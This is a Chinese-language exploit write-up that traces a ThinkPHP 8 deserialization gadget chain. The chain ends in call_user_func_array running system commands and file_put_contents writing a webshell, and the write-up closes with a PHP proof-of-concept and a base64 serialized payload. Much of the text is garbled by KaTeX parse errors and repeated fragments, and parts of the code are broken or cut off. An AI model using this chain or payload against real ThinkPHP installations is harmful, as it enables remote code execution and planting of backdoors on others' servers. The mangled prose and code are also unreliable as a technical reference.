反序列化链1
分析过程
Thinkphp8 反序列化调用链从ResourceRegister#__destruct()开始,最终调用到Validate#is()下,该方法下存在一个call_user_func_array()可供我们调用执行命令
反序列化链的起点在ResourceRegister#__destruct()下,其中registered初始化值为false,可以调用到registered初始化值为false,可以调用到registered初始化值为false,可以调用到this->register(),在register下由于this−>resource可控,所以我们可以构造this->resource可控,所以我们可以构造this−>resource可控,所以我们可以构造this->resource = new Resource(),Resource类下存在一个parseGroupRule方法。
public function __destruct()
{
if (!$this->registered) {
KaTeX parse error: Expected 'EOF', got '}' at position 23: …egister();
}̲
}
![在这里插入图片描述]…this->resource->getRule(),在该方法里面返回的是$this->rule的内容,该值是可控的
public function getRule()
{
return KaTeX parse error: Expected 'EOF', got '}' at position 13: this->rule;
}̲
在parseGroupRul…rule中是否包含".",如果条件成立的话会进入到if语句中,接着会通过explode函数以“.”为分隔符划分$rule,接着进入到foreach中进行拼接字符串。
由于option=option=option=this->options,所以options数组是可控的,在foreach语句中,代码将options数组是可控的,在foreach语句中,代码将options数组是可控的,在foreach语句中,代码将val的内容和option[′var′][option['var'][option[′var′][val]拼接起来,如果option[′var′][option['var'][option[′var′][val]的值可控且是一个对象的时候,会调用到该对象的__toString(),这里需要利用到的对象是Conversion类的__toString()
可以构造rule的值为"1.1",rule的值为"1.1",rule的值为"1.1",this->option=[“var”=>[“1”=>new Conversion()]],那么当执行到字符串拼接部分的代码时,就会调用到Conversion类的__toString方法。
由于这里Conversion类的类型为trait,是不可以通过new Conversion()的形式实例化成一个对象的,所以这里需要用到Pivot类,该类继承自Model类,而Model类下使用到了model\concern\Conversion
在Conversion#toString()中先调用$this->toJson(),接着按照下面的调用栈,跟进到appendAttrToArray()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Conversion#appendAttrToArray()
在appendAttrToArray()中通过is_array()来判断name是否是数组,这里的name是否是数组,这里的name是否是数组,这里的key和name的值通过name的值通过name的值通过this->append得到
this−>append=["test"=>[]]//根据要求构造了this->append = ["test"=>[]] //根据要求构造了this−>append=["test"=>[]]//根据要求构造了this->append的值
foreach ($this->append as $key => $name) {
this−>appendAttrToArray(this->appendAttrToArray(this−>appendAttrToArray(item, $key, $name, $visible, KaTeX parse error: Expected 'EOF', got '}' at position 10: hidden);
}̲
接着进入到this->getRelationWith()中,在Validate类的__call魔术方法中,使用到了call_user_func_array(),通过call_user_func_array()可以构造命令执行,所以我们的反序列链需要调用到Validate#__call()
这里需要令relation的值为Validate对象,那么当程序执行到relation的值为Validate对象,那么当程序执行到relation的值为Validate对象,那么当程序执行到relation->hidden()时,由于Validate对象中并不存在hidden()方法,就会调用该对象里的__call()魔术方法。
而进入到relation−>hidden()的条件是relation->hidden()的条件是relation−>hidden()的条件是hidden[key]必须存在,key]必须存在,key]必须存在,hidden[key]是可控的,所以先进入到key]是可控的,所以先进入到key]是可控的,所以先进入到this->getRelation()中看看如何令this−>getRelation()的返回值this->getRelation()的返回值this−>getRelation()的返回值relation为Validate对象
这里我们利用return this−>relation[this->relation[this−>relation[name]来返回我们的Validate对象。因为这里name参数实际上就是传递进来的name参数实际上就是传递进来的name参数实际上就是传递进来的this->append的key,key,key,this->relation的内容可控,这样返回的this−>relation[this->relation[this−>relation[name]就是new Validate()了
$this->append = [“test”=>[]]
this−>this->this−>relation = [“test”=>new Validate()]
得到了relation之后,执行到relation之后,执行到relation之后,执行到relation->hidden(hidden[hidden[hidden[key])时,就会调用到Validate#__call(),参数是hidden[hidden[hidden[key]
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: …
if (isset(visible[$key])) {
relation−>visible(relation->visible(relation−>visible(visible[KaTeX parse error: Expected 'EOF', got '}' at position 12: key]);
}̲ elseif (isset(hidden[$key])) {
relation−>hidden(relation->hidden(relation−>hidden(hidden[KaTeX parse error: Expected 'EOF', got '}' at position 12: key]);
}̲
}
跟进到Validate#…this, ‘is’], args)调用到该类下的is()方法,可以看到在calluserfuncarray()调用的回调函数是args) 调用到该类下的is()方法,可以看到在call_user_func_array()调用的回调函数是args)调用到该类下的is()方法,可以看到在calluserfuncarray()调用的回调函数是this->type[rule],这里rule],这里rule],这里rule的值为hidden,value就是value就是value就是hidden[$key]
this−>type=["hidden"=>"system"]//通过this->type = ["hidden"=>"system"] //通过this−>type=["hidden"=>"system"]//通过this->type[$rule]得到回调函数system
参数[value]这里有一个坑,当使用calluserfuncarray()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[[value]这里有一个坑,当使用call_user_func_array()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[[value]这里有一个坑,当使用calluserfuncarray()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[value]里,所以这里call_user_func_array(“system”, [value])只能接收一个字符串参数value])只能接收一个字符串参数value])只能接收一个字符串参数value
通过上面的分析我们已经知道value的值是通过value的值是通过value的值是通过hidden[key]得到的,实际上key]得到的,实际上key]得到的,实际上hidden[$key]的值是一个数组,所以这里导致参数变成了[[“whoami”]]这种形式
KaTeX parse error: Expected 'EOF', got '#' at position 18: …dden从Conversion#̲toArray()中得到,如果…this->hidden=[“test”=>“whoami”]的形式,那么程序就会进入到hidden[hidden[hidden[val]=true,得到的$hidden=[“whoami”=>“true”]。
foreach ($this->hidden as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is_string(val)) {
if (str_contains(KaTeX parse error: Expected '}', got 'EOF' at end of input: …{
[relation, $name] = explode(‘.’, $val);
hidden[hidden[hidden[relation][] = $name;
} else {
hidden[hidden[hidden[val] = true;
}
} else {
hidden[hidden[hidden[key] = KaTeX parse error: Expected 'EOF', got '}' at position 10: val;
}̲
}
所以我们需要一个类将参数…this->value,$this->value可控,所以我们可以构造所需的类。当程序执行到call_user_func_array(“system”, [new ConstStub()])时就会调用ConstStub的魔法方法__toString()返回一个字符串calc
$this->hidden = [“test”=> new ConstStub()]
namespace Symfony\Component\VarDumper\Caster{
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub{}
}
namespace Symfony\Component\VarDumper\Cloner{
class Stub{
public $value = “calc”;
}
}
在getValue()中,跟进this−>getRealFieldName()可以看到返回值是可控的,接着会判断this->getRealFieldName()可以看到返回值是可控的,接着会判断this−>getRealFieldName()可以看到返回值是可控的,接着会判断this->get中是否存在fieldName的键值,这里的fieldName的键值,这里的fieldName的键值,这里的this->get是可控的
跟进到getJsonValue()中,可以看到在568行可以通过closure(closure(closure(value[key],key],key],value),参数全都是可控的,就可以通过file_put_contents去写入webshell
在代码中添加一个反序列化的入口点,执行反序列化之后可以看到在网站public目录下会生成一个webshell文件
反序列化调用链
ResourceRegister#__destruct()
ResourceRegister#__register()
Resource#__parseGroupRule()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Attribute#getAttr()
Attribute#getValue()
Attribute#getJsonValue()
完整poc
$this->visible = ["test"=>"test"];
$this->json = ["test"=>"test"];
$this->withAttr = ["test"=>["test"=>"file_put_contents"]];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace think\route {
use think\model\Pivot;
class Rule {
protected $rule;
protected $option;
public function __construct() {
$this->rule = “1.1”;
$this->option = [“var”=>[“1”=>new Pivot()]];
}
}
class RuleGroup extends Rule {
public function __construct() {
parent::__construct();
}
}
class Resource extends RuleGroup {
public function __construct() {
parent::__construct();
}
}
class ResourceRegister {
protected $resource;
public function __construct() {
$this->resource = new Resource();
}
}
}
namespace {
KaTeX parse error: Undefined control sequence: \route at position 16: obj = new think\̲r̲o̲u̲t̲e̲\ResourceRegist…obj));
}
/*
TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoiMS4xIjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntpOjE7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoidGVzdCI7YToyOntzOjQ6InRlc3QiO3M6MTI6Imtha2F4c3hzLnBocCI7czo1OiJ0ZXN0MiI7czoxNzoiPD9waHAgcGhwaW5mbygpPz4iO319czoxMDoiACoAdmlzaWJsZSI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MTI6IgAqAGpzb25Bc3NvYyI7YjoxO3M6NzoiACoAanNvbiI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjQ6InRlc3QiO2E6MTp7czo0OiJ0ZXN0IjtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fX19fX19fQ==
*/